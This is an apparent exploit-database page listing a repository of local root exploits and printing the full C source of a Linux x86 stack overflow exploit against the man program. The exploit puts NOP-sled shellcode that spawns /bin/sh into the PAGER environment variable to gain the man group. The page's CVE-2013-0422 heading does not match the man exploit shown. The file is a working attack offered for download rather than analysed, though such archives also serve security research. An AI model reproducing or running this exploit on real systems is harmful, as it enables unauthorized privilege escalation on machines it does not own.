Exploit databaseDownload repository ZIP
GH-6b6057e48941ec7e0988d1ab08178590
2402221619/tool
Sources for CVE-2013-0422
8 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files180
2402221619/toolRevision e1de8defa93c
- ↑..Parent directory
- 04
- 05
- 06
- 0x82-Remote.tannehehe.xpl.c
- 1.c
- 2.4.c
- 2.6.13_17_0_2004
- 2.6.13_17_3_2006
- 2.6.13_17_4_2011.sh
- 2.6.9-22.sh
- 2.6.x_logrotate_2031
- 2k
- 3384
- 3384 (Apache 1.3.331.3.34 CGI TTY Local Root Exploit (Debian Stable))
- 48local
- 6.9.sh
- 7.1
- @C=M;O=A
- @C=N;O=A
- @C=S;O=A
- AIX
- BSD3.6_localroot
- CrOn
- Descr.WD3
- Infecting Elf Binaries to Gain Local Root Exploit
- Linux Kernel 2.4.x 2.6.x_252520uselib()_252520Local_252520Privilege_252520Escalation_252520Exploit
- Linux kernel mremap.c
- Solaris 10 libnspr LD_PRELOAD Arbitrary File Creation Local Root Exploit
- afd-expl
- alsaplayer-suid
- ath0
- bindpar.x
- bindtty.c
- binfmt_elf.c
- bsd
- bsdlocal
- buffer
- buffer.sh
- cPanel 10.8.x cpwrap lrx
- chown.c
- clean
- code
- compress
- compress_expl.c
- cron.sh
- crond
- crontab.c
- cw7.3
- default.htm
- dhcp-expl.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
提权利器/linux/Spaciel/manxpl.c
C · 1,132 bytes/* linux x86
exploits the stack overflow in man (PAGER env var) yielding egid man.
retpos is dependent upon argv[1] to man. if you wish to change the
manpage name, change the #define RETPOS to 3990 - strlen("manpage")
[email protected]
*/
#include <stdio.h>
#include <stdlib.h>
#define RETPOS 3987
#define OFFSET 1000
char c0de[] =
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0\x0b\x87\xf3\x8d"
"\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";
int
main(int argc, char **argv)
{
u_char buf[4096] = {0};
u_long addr = (u_long)&addr;
int ret = RETPOS;
if (argc > 1) addr += atoi(argv[1]);
else addr += OFFSET;
memset(buf, 0x90, ret - strlen(c0de));
memcpy(buf + ret - strlen(c0de), c0de, strlen(c0de));
fprintf(stderr, "addr 0x%lx\n", addr);
buf[ret++] = (addr & 0xff);
buf[ret++] = (addr >> 8) & 0xff;
buf[ret++] = (addr >> 16) & 0xff;
buf[ret++] = (addr >> 24) & 0xff;
setenv("PAGER", buf, -1);
execl("/usr/bin/man", "man", "cat", NULL);
perror("execl");
}
/* www.hack.co.za [2000]*/